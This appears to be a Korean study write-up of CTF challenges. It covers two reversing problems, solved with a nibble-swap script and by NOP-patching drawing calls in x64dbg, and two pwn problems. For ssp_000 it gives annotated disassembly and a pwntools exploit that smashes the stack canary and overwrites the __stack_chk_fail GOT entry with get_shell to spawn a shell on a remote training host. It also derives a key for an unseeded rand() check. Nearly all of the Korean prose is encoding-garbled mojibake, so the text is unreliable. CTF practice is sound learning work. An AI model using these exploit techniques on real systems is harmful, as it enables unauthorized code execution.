[CAUTION] ์คํฐ๋ - 12
๐ก Caution ์คํฐ๋ 12ํ์ฐจ
์ํธํ - 1
๋ฆฌ๋ฒ์ฑ - 1
Input ๋ฌธ์์ด์ ์ฐพ๋ ๋ฌธ์ ์ด๋ค.
IDA๋ก Input String์ ์ฐพ์์ ๋ฌธ์์ด์ ๊ฒ์ฆํ๋ ๋ถ๋ถ์ ์ฐพ๋๋ค.
๋ฌธ์์ด ๊ฒ์ฆํ๋ ๋ถ๋ถ์ ๋ค์๊ณผ ๊ฐ๋ค.
ํด๋น ๋ถ๋ถ์ ๋ก์ง์ ๋ถ์ํ๊ธฐ ์ํด์ ๊ฐ์์ input์ ํตํด์ ์ด๋ป๊ฒ ๊ณ์ฐ๋๋์ง ํด๋ณธ๋ค.
๋ง์ฝ [a1+i] ๊ฐ์ด 8bit๋ก abcd efgh ์ด๋ ๊ฒ ๋ค์ด์๋ค๊ณ ๊ฐ์ ํ๊ณ ๊ณ์ฐ์ ํด๋ณธ๋ค. ๊ฐ์ด๋ฐ or(|)์ ๊ธฐ์ค์ผ๋ก ์ผ์ชฝ ์ค๋ฅธ์ชฝ์ ๋๋๋ค.
๋จผ์ ์ผ์ชฝ ๋ถ๋ถ์ ์ฐ์ฐ์ ๋ค์๊ณผ ๊ฐ๋ค
16 * [a1+i] & 0xf0
์ฐ์ฐ์ ์ฐ์ ์์์ ์ํด์ 16* [a1+i] ๊ฐ ๋จผ์ ๊ณ์ฐ๋๊ณ , 0xf0๊ณผ and ๋นํธ์ฐ์ฐ์ด ์ํ๋๋ค.
16 * [a1 + i] => efgh 0000
efgh 0000 & 0xf0 => efgh 0000
์ค๋ฅธ์ชฝ ๋ถ๋ถ์ ์ฐ์ฐ์ ๋ค์๊ณผ ๊ฐ๋ค.
abcd efgh >> 4 => 0000 abcd
๋๊ฐ์ ๋นํธ๋ฅผ or ์ฐ์ฐ์ ์ํํ๋ฉด ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.
efgh abcd
์๋ ๋นํธ abcd efgh์ ๋น๊ตํด๋ณด๋ฉด ์ผ์ชฝ 4๋นํธ์ ์ค๋ฅธ์ชฝ 4๋นํธ๊ฐ ์์น๊ฐ ๋ฐ๋๊ฒ์ ๋ณผ ์ ์๋ค.
๊ทธ๋ฆฌ๊ณ ์ด ๊ฐ์ byte_140003000[i] ์ ๋น๊ตํ๊ณ ์๊ณ ํด๋น ๊ฐ์ ๋ค์๊ณผ ๊ฐ๋ค.
๋ฐ๋ผ์ ์์ ๋ฐฐ์ด ๊ฐ์ ์ข์ฐ ๋นํธ๋ฅผ 4๋นํธ์ฉ ๋ฐ๊พธ๋ฉด ์๋ณธ ๋ฐ์ดํธ๊ฐ์ ๊ตฌํ ์ ์๋ค.
์ฝ๋๋ก ์์ฑํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
sol.py
arr = [0x24,0x27,0x13,0xc6,
0xc6,0x13,0x16,0xe6,
0x47,0xf5,0x26,0x96,
0x47,0xf5,0x46,0x27,
0x13,0x26,0x26,0xc6,
0x56,0xf5,0xc3,0xc3,
0xf5,0xe3,0xe3]
result = []
for i in arr:
tmp = (i << 4) & 0xff | (i >> 4) & 0xff
result.append(chr(tmp))
for i in result:
print(i,end = '')
์คํ ๊ฒฐ๊ณผ ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๋ค.
๋ฆฌ๋ฒ์ฑ - 2
ํ๋ก๊ทธ๋จ์ ์คํํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ด๋ฏธ์ง๊ฐ ๋์จ๋ค.
์์ค์ฝ๋๋ฅผ ๋ถ์ํด์, ํ๋๊ทธ ๊ธ์๋ฅผ ๊ฐ๋ฆฌ๋ ๋ถ๋ถ์ ์ฐพ์์ผ ํ๋ค.
ida
ida๋ก ์คํํด๋ณด๋ฉด ๊ทธ๋ฆผ๊ณผ ๊ฐ์ด ํจ์๊ฐ ๊ฝค ๋ง์ด ์๋ค.
ํ๋ํ๋ ์ ๋ถ ๋ถ์ํ ์๋ ์์ผ๋, ์ด๋ค ๋ถ๋ถ์ ์ค์ ์ ์ผ๋ก ๋ถ์ํ ์ง ์๊ฐํด๋ด์ผ ํ๋ค.
๋ฌธ์ ์์ ํํธ๋ก GDI+ ๊ด๋ จ๋ ๋ด์ฉ์ ์ ์ด๋จ๊ธฐ ๋๋ฌธ์, ์ด๋ฅผ ์๊ฐํ๊ณ ๋ช๊ฐ์ ํจ์๋ฅผ ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด GDI ๊ด๋ จ ํจ์๊ฐ ์ฌ์ฉ ์ค์ธ๊ฒ์ ์ ์ ์๋ค.
๋จผ์ sub_1400030a0 ํจ์๋ฅผ ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
๋๋ gdi ๊ด๋ จ๋ ํ๋ก๊ทธ๋๋ฐ์ ํด๋ณธ์ ์ด ์๊ธฐ ๋๋ฌธ์ ์ด๋ค ์์ผ๋ก ์ฝ๋๊ฐ ํ๋ฅด๋์ง๋ ๋ชจ๋ฅด์ง๋ง, 36๋ฒ์งธ ์ค์ ๋ณด๋ฉด, GdiplusStartup ํจ์๋ฅผ ํธ์ถํ๊ณ ์๋ค. ์ด๋ฆ์ผ๋ก๋ถํฐ ์ ์ถ๋ฅผ ํด๋ณด๋ฉด ์ด ๋ถ๋ถ์์ start๋ฅผ ํ๊ณ ์์ผ๋๊น ์ด ์ง์ ์ ์์์ผ๋ก ์ฝ๋๋ฅผ ๋ฐ๋ผ๊ฐ๋ณด๋ฉด ์ถ๊ฐ์ ์ผ๋ก ๊ทธ๋ฆผ์ ๊ทธ๋ฆฌ๋ ์ฝ๋๋ฅผ ๋ง๋ ์ ์์ ๊ฒ์ด๋ค.
ํ์ง๋ง, gdiplusstartupํจ์ ๋ค์์๋ ๋ถ๋ถ์ ๋ด๋ ๋ฐ๋ก ํจ์๋ฅผ callํ๊ณ ์์ง ์์์ ๋ค์์ ์ด๋๋ฅผ ๋ถ์ํด์ผ ํ ์ง ๊ณ ๋ฏผํด ๋ด์ผ ํ๋ค.
sub_1400030a0ํจ์ ์ด๋ฆ์ gdi_main ์ผ๋ก ๋ฐ๊พธ๊ณ ๋ค๋ฅธ ํจ์๋ค์ ์ถ๊ฐ์ ์ผ๋ก ๋ถ์ํด ๋ณธ๋ค.
์์ ํจ์ ๋ชฉ๋ก์ ์ ๋ณด๋ฉด, ๋๋ถ๋ถ ๊ฐ์ ํํ์ ๊ตฌ์กฐ๋ฅผ ๊ฐ์ง๊ณ ์๋ค.
์์๋ก 2๊ฐ๋ฅผ ์ ํํด์ ๋น๊ตํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
๊ทธ๋ฅ ๋๊ฐ์ด ์๊ฒผ๊ณ , ํจ์๋ค์ ์ด๋ฆ์ ๋ณด๋ฉด, gdip๊ด๋ จ๋ ํจ์์ GdipDrawLineI ํจ์๋ฅผ ํธ์ถํ๋ ๊ฒ์ผ๋ก ๋ณด์ ๊ทธ๋ฆผ์ ๊ทธ๋ฆฌ๋ ํจ์๋ค ์ ๋๋ค.
์ด ํจ์๋ค์ ์ด๋์์ ํธ์ถํ๋์ง ์ถ์ ์ ํด๋ณด๋ฉด sub_140002C40 ํจ์๊ฐ ๋์จ๋ค. ํด๋น ํจ์๋ฅผ ๋ณด๋ ๋ค์๊ณผ ๊ฐ์ด ์๊ฒผ๋ค.
sub_140002B80 ํจ์๋ฅผ ์ฌ๋ฌ๋ฒ ํธ์ถํ๊ณ ๊ทธ ์๋์์ ์ถ๊ฐ์ ์ธ ํจ์๋ค์ ๋ถ๋ฅด๊ณ ์๋ค. ์ด ๋ถ๋ถ์ด ๊ทธ๋ฆผ์ ๊ทธ๋ฆฌ๋ ์ฝ๋์ธ๊ฒ์ด ๋ช ํํด ๋ณด์ด๋ ์ด์ ์ด๋ป๊ฒ ๋ต์ ์์๋ผ ์ง ์๊ฐํด๋ณด์.
- ์ ์ ๋ถ์ : ์ฝ๋์ ๋ค์ด๊ฐ ์ธ์ ๊ฐ๋ค์ด ๋ค ์ฃผ์ด์ก์ผ๋ ํด๋น ์ธ์๊ฐ๋ค์ ๋ค ๊ธฐ๋กํ ๋ค ๋ค๋ฅธ ํ๋ก๊ทธ๋จ์์ ์ง์ฐ๋ ๋ถ๋ถ์ ์์๋ด๊ณ ํด๋น ๋ถ๋ถ์ ์ ๊ฑฐํ์ฌ ํ๋๊ทธ๋ฅผ ์์๋ธ๋ค.
- ๋์ ๋ถ์ : ๋๋ฒ๊ฑฐ๋ฅผ ์ฐ๊ฒฐํ์ฌ, ํน์ ๋ถ๋ถ์์ ์ฝ๋ ํ๋ฆ์ ๋ฐ๊ฟ์ ๊ทธ๋ฆผ์ ๋ฎ์ด์ฐ๋ ๋ถ๋ถ์ ํธ์ถํ์ง ์๋๋ก ํ๋ค.
1,2๋ฒ ๋๊ฐ์ง ๋ฐฉ๋ฒ์ด ๊ฐ๋ฅํ๋ฐ, ๋๋ ์ ๋ถ๋ถ์ ๋์ผํ๊ฒ ๊ตฌํํ ์๋๊ฐ ์๋์ ๋์ ๋ถ์์ผ๋ก ๋ฌธ์ ๋ฅผ ํ์๋ค.
x64dbg
x64dbg๋ฅผ ์ด์ฉํ๋ฉด ์ฝ๋ ์ค๊ฐ๋ถ๋ถ์ ๋ฐ๊ฟ์ ํจ์น๋ฅผ ํ ์ ์๋ค. ๋จผ์ ida์์ ์ฐพ์ ์ฌ๋ฌ ํจ์๋ค์ ํธ์ถํ๋ ๋ถ๋ถ์ ์ฐพ์์ผ ํ๋ค.
ida์์๋ sub_140002C40์๋๋ฐ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๊ฐ 140002c40์ด๋ผ๋ ๋ป์ด๋ค. x64dbg๋ก ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ์์ ์ฃผ์๊ฐ ๋ค๋ฅธ๋ฐ ์ด์ฐจํผ ์ฝ๋์์์๋ ์๋ ์ฃผ์๊ฐ ๊ฐ์ ๊ฒ์ด๊ธฐ ๋๋ฌธ์ ์์์ฃผ์๋ฅผ ๋น๊ตํด์ ๊ทธ ์ฐจ์ด๋งํผ ๋ํด์ฃผ๋ฉด ๋ ๊ฒ์ด๋ค.
๋ณด๋ฉด xdbg๋ ๋์ 4์๋ฆฌ๋ง ๋ณด๋ฉด ์์์ด 1000์ด๊ณ , ida๋ ์์์ด 1000์ด๋ค. ๋ฐ๋ผ์ sub_140002c40์ xdbg์์๋ ๋์ด 2c40์ด๋ค.
ํด๋น ์ฃผ์๋ก ์ ๊ทผํ์ฌ ๋ณด๋ ๋ค์๊ณผ ๊ฐ์ด ๋ฐ๋ณต์ ์ผ๋ก patch.7ff759d72b80ํจ์๋ฅผ ํธ์ถํ๊ณ ์๋ค.
์ด์ ์ด ๋ถ๋ถ์ ๋์ํ์ง ์๋๋ก ๋ฐ๊ฟ์ค ๊ฒ์ด๋ค.
์์ํ๊ธฐ๋ก๋ ๋์ผํ๊ฒ ํธ์ถ๋๋ patch.7ff759d72b80 ํจ์๊ฐ ๊ทธ๋ฆผ์ ๊ฐ๋ฆฌ๋ ์ฝ๋๋ผ ์๊ฐ๋์ ์ด ๋ถ๋ถ๋ค์ ์ ๋ถ nop์ผ๋ก ๋ฎ์ด์จ์ค ๊ฒ์ด๋ค.
๋ค์๊ณผ ๊ฐ์ด ๋ฐ๋ณต์ ํจ์๋ฅผ ํธ์ถํ๋ ๋ถ๋ถ์ ๋ชจ๋ ์ ํํ ๋ค, nop์ผ๋ก ๋ฐ๊ฟ์ค๋ค.
ํ์ผ ํจ์น๋ฅผ ๋๋ฌ์ ๋ณ๊ฒฝ๋ ํ๋ก๊ทธ๋จ์ ๋ค์ ์ ์ฅํด ์ค๋ค.
์ ์ฅ๋ ํ๋ก๊ทธ๋จ์ ํธ์ถํด ์ฃผ๋ฉด ๋
์์คํ - 1
์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
bof ์ทจ์ฝ์ ์ด ์๋๊ฑด ํ๋์ ๋ณด์ด๋๋ฐ, ์ด๋ป๊ฒ ๊ณต๊ฒฉ์ ํ ์ง ์๊ฐํด ๋ณด๊ธฐ ์ํด์ ์คํ์ ๋จผ์ ๊ทธ๋ ค๋ณธ๋ค.
๋ฉ์ธํจ์๋ฅผ ๋์ค์ด์ ๋ธ์ ํ๋ฉด ๋ค์๊ณผ ๊ฐ์๋ฐ, ์คํ์ ํ์ธํ๊ธฐ ์ํ ์ค์๋ถ๋ถ์ ์ฃผ์์ผ๋ก ํ์ํด ๋จ๋ค.
gdb-peda$ disass main
Dump of assembler code for function main:
0x00000000004008fb <+0>: push rbp
0x00000000004008fc <+1>: mov rbp,rsp
0x00000000004008ff <+4>: sub rsp,0x70
0x0000000000400903 <+8>: mov DWORD PTR [rbp-0x64],edi
0x0000000000400906 <+11>: mov QWORD PTR [rbp-0x70],rsi
0x000000000040090a <+15>: mov rax,QWORD PTR fs:0x28
0x0000000000400913 <+24>: mov QWORD PTR [rbp-0x8],rax //canary ๋ฅผ rbp-8์ ์ ์ฅ
0x0000000000400917 <+28>: xor eax,eax
0x0000000000400919 <+30>: lea rdx,[rbp-0x50]
0x000000000040091d <+34>: mov eax,0x0
0x0000000000400922 <+39>: mov ecx,0x8
0x0000000000400927 <+44>: mov rdi,rdx
0x000000000040092a <+47>: rep stos QWORD PTR es:[rdi],rax
0x000000000040092d <+50>: mov eax,0x0
0x0000000000400932 <+55>: call 0x40088e <initialize>
0x0000000000400937 <+60>: lea rax,[rbp-0x50] // buf์ ์์น๋ rbp-80
0x000000000040093b <+64>: mov edx,0x80
0x0000000000400940 <+69>: mov rsi,rax
0x0000000000400943 <+72>: mov edi,0x0
0x0000000000400948 <+77>: call 0x400710 <read@plt>
0x000000000040094d <+82>: mov edi,0x400a55
0x0000000000400952 <+87>: mov eax,0x0
0x0000000000400957 <+92>: call 0x4006f0 <printf@plt>
0x000000000040095c <+97>: lea rax,[rbp-0x60] // value์ ์์น๋ rbp-96
0x0000000000400960 <+101>: mov rsi,rax
0x0000000000400963 <+104>: mov edi,0x400a5d
0x0000000000400968 <+109>: mov eax,0x0
0x000000000040096d <+114>: call 0x400750 <__isoc99_scanf@plt>
0x0000000000400972 <+119>: mov edi,0x400a61
0x0000000000400977 <+124>: mov eax,0x0
0x000000000040097c <+129>: call 0x4006f0 <printf@plt>
0x0000000000400981 <+134>: lea rax,[rbp-0x58] // addr์ ์์น๋ rbp-88
0x0000000000400985 <+138>: mov rsi,rax
0x0000000000400988 <+141>: mov edi,0x400a5d
0x000000000040098d <+146>: mov eax,0x0
0x0000000000400992 <+151>: call 0x400750 <__isoc99_scanf@plt>
0x0000000000400997 <+156>: mov rax,QWORD PTR [rbp-0x60]
0x000000000040099b <+160>: mov rdx,rax
0x000000000040099e <+163>: mov rax,QWORD PTR [rbp-0x58]
0x00000000004009a2 <+167>: mov QWORD PTR [rdx],rax
0x00000000004009a5 <+170>: mov eax,0x0
0x00000000004009aa <+175>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004009ae <+179>: xor rcx,QWORD PTR fs:0x28 // ๋ฉ์ธํจ์๊ฐ ๋๋๊ธฐ์ ์ canary๊ฐ์ด ๋ณํ๋์ง ํ์ธ
0x00000000004009b7 <+188>: je 0x4009be <main+195>
0x00000000004009b9 <+190>: call 0x4006d0 <__stack_chk_fail@plt> //๋ณํ์ผ๋ฉด, stack_chk_fail ํจ์ ํธ์ถ
0x00000000004009be <+195>: leave
0x00000000004009bf <+196>: ret
End of assembler dump.
๊ทธ๋ฆผ์ผ๋ก ํํํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
ํ์ฌ read์์ ์ฌ์ฉ์์ ์ ๋ ฅ์ ์ด 0x80byte๋ฅผ ๋ฐ๊ธฐ ๋๋ฌธ์ ret์ฃผ์๊น์ง ์ถฉ๋ถํ ๋ฎ์ ์ ์๋ค.
ํ์ง๋ง ํ์ฌ canary๊ฐ์ ์์๋ผ ๋ฐฉ๋ฒ์ด ์๊ธฐ ๋๋ฌธ์ ret์ฃผ์๋ฅผ ๋ฎ์ผ๋ฉด canary ๊ฒ์ฌ๋ก ํ๋ก๊ทธ๋จ์ด ์ข ๋ฃ๋๋ค.
์ด๋ฒ ๋ฌธ์ ์์ ์ค์ํ ๋ถ๋ถ์ ๋ค์ ๋ถ๋ถ์ด๋ค.
*(long *)addr = value;
์์ ํจ์๊ฐ ์คํ๋๋ฉด ์ด๋ป๊ฒ ๋๋์ง ์๊ฐํด๋ณด๋ฉด, addr ๋ณ์์ ๋ค์ด์๋ ๊ฐ์ value๊ฐ์ผ๋ก ๋ฐ๊ฟ ์ ์๋ค.
์ฌ์ฉ์ ์ ๋ ฅ์ผ๋ก addr, value๋ฅผ ๋ชจ๋ ๋ฐ๊ณ ์๊ธฐ ๋๋ฌธ์ ๊ฒฐ๊ตญ ์ด๋ ํ ๋ฉ๋ชจ๋ฆฌ ๊ณต๊ฐ์ด๋ ์ํ๋ ๊ฐ์ผ๋ก ๋ฐ๊ฟ ์ ์๋ค.
์ด๋ฅผ ์ด์ฉํด์ got๋ฅผ get_shell()ํจ์์ ์ฃผ์๋ก ๋ฐ๊พธ๋ฉด ํน์ ํจ์๊ฐ ์คํ๋ ๋, get_shell()ํจ์๊ฐ ํธ์ถ ๋ ๊ฒ์ด๋ค.
๊ทธ๋ฌ๋ฉด ์ด๋ ํ ํจ์์ got๋ฅผ ๋ฐ๊ฟ์ผ ํ ์ง ์๊ฐํด๋ณด์.
*(long *)addr = value;
์์ ๋ช ๋ น์ด๊ฐ ์คํ๋๊ณ ๋ ๋ค, ํธ์ถ๋๋ ํจ์๋ฅผ ์ดํด๋ณด๋ ๋ค์๊ณผ ๊ฐ์ด stack_chk_fail ๋ฐ์ ์๋ค.
// main ํจ์์ ๋์ค์ด์
๋ธ
0x0000000000400997 <+156>: mov rax,QWORD PTR [rbp-0x60]
0x000000000040099b <+160>: mov rdx,rax
0x000000000040099e <+163>: mov rax,QWORD PTR [rbp-0x58]
0x00000000004009a2 <+167>: mov QWORD PTR [rdx],rax // *(long *)addr = value; ์คํ ๋ถ๋ถ
0x00000000004009a5 <+170>: mov eax,0x0
0x00000000004009aa <+175>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004009ae <+179>: xor rcx,QWORD PTR fs:0x28
0x00000000004009b7 <+188>: je 0x4009be <main+195>
0x00000000004009b9 <+190>: call 0x4006d0 <__stack_chk_fail@plt>
0x00000000004009be <+195>: leave
0x00000000004009bf <+196>: ret
๊ทธ๋ฌ๋ฉด ์ฐ๋ฆฌ๋ ํด๋น ํจ์๊ฐ ์คํ๋๋๋ก ์ ๋ํ๊ณ , ํด๋น ํจ์์ got๋ฅผ get_shell()ํจ์์ ์ฃผ์๋ก ๋ฐ๊ฟ์ฃผ๋ฉด ๋๋ค.
์ ๋ฆฌํ๋ฉด ๋ค์์ ์ ์ฐจ๋ก ์ต์คํ๋ก์ ํ๋ค.
- Buf์ bof ์ทจ์ฝ์ ์ผ๋ก canary๋ฅผ ์นจ๋ฒํ์ฌ ๋์ค์ stack_chk_fail@pltํจ์๊ฐ ํธ์ถ๋๋๋ก ํ๋ค.
- Addr ๋ณ์์ stack_chk_fail์ got ์ฃผ์๋ฅผ, value ๋ณ์์ get_shell()์ ์ฃผ์๋ฅผ ์ ์ฅํ์ฌ *Addr = value ๊ฐ ์คํ๋๋ฉด stack_chk_fail์ got๋ฅผ get_shell() ์ฃผ์๋ก ๋ฎ์ด์ฐ๋๋ก ํ๋ค.
- Canary ๊ฐ์ ๋ณ๊ฒฝ์ด ํ์ธ๋์ด stack_chk_fail@plt๊ฐ ์คํ๋๋ฉด get_shell()ํจ์๊ฐ ์คํ๋๊ฒ ๋์ด shell์ ํ๋ํ๋ค.
์์ฑํ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
ex.py
from pwn import *
#p = process("./ssp_000")
p = remote("host1.dreamhack.games",10835)
e = ELF("./ssp_000")
got_addr = e.got['__stack_chk_fail']
get_shell_addr = 4196586
p.sendline(b'A'*73) #canary word๋ฅผ ์นจ๋ฒ
p.recvuntil("Addr : ")
# Addr = got of __stack_chk_fail
p.sendline(str(got_addr).encode()) #stack_chk_fail์ got
p.recvuntil("Value : ")
p.sendline(str(get_shell_addr).encode()) # get_shell()์ ์ฃผ์
p.interactive()
์์คํ - 2
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
์ด๋ฒ ๋ฌธ์ ๋ rand()ํจ์์ ๋ํด ์๊ณ ์์ผ๋ฉด ์ฌ์ด ๋ฌธ์ ์ด๋ค.
rand()ํจ์๋ ๋๋ค๊ฐ์ ์์ฑํด ์ฃผ๋ ํจ์์ธ๋ฐ, seed๊ฐ์ ์ฃผ์ง ์๋๋ค.
์ด ๋ง์ ๋๋ค ํจ์๋ฅผ ์คํ ํ์ ๋, ์ฒซ ๋ฒ์งธ, ๋ ๋ฒ์งธ, ์ธ ๋ฒ์งธ, โฆ ๊ทธ ์ดํ ๊ฐ๋ค์ ๋๋คํ๊ฒ ๋์ค๋ ๊ฒ์ฒ๋ผ ๋ณด์ด๋.. rand()ํจ์๋ฅผ ๋์ผํ๊ฒ ๋ค์ ์์ํ๋ฉด ์ฒซ ๋ฒ์งธ, ๋ ๋ฒ์งธ, ์ธ ๋ฒ์งธ ๊ฐ์ด ๊ฐ๊ฒ ๋์จ๋ค. ๋ค์ ์คํํ๋ฉด์ ๋ณด๋ฉด ์ดํดํ ์ ์์ ๊ฒ์ด๋ค.
rand.c
#include <stdio.h>
int main(){
printf("%d\n",rand());
printf("%d\n",rand());
printf("%d\n",rand());
printf("%d\n",rand());
printf("%d\n",rand());
}
์ด ๋ด์ฉ์ ์ดํดํ๊ณ ๋ฌธ์ ๋ฅผ ๋ค์ ๋ณด์.
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
// random value๊ฐ ์๋, rand()ํจ์ ์คํ์ ์ฒ์ ๋์ค๋ ๊ฐ์ผ๋ก ์ผ์
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
random = rand()๋ก ๋๋ค ๊ฐ์ด ๋ค์ด๊ฐ๋ ๊ฒ์ด ์๋, ์ผ์ ํ ๊ฐ(1804289383)์ด ๋ค์ด๊ฐ๊ฒ ๋๋ค.
๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ key ^ random == 0xdeadbeef๋ฅผ ๋ง์กฑํ๋๋ก key ๊ฐ์ ์ฃผ๋ฉด ๋๋ค.
key xor random = 0xdeadbeef -> key = 0xdeadbeef xor random ์ด๊ธฐ ๋๋ฌธ์ ํค ๊ฐ์ ๊ตฌํ ์ ์๋ค.
1804289383 -> 0x6b8b4567
๋ฐ๋ผ์ ํ๋ก๊ทธ๋จ์ ์คํํ๊ณ key ๊ฐ์ผ๋ก 3039230856(0xb526fb88)์ ์ ๋ ฅํด์ฃผ๋ฉด ํ ์ ์๋ค.
๋๊ธ๋จ๊ธฐ๊ธฐ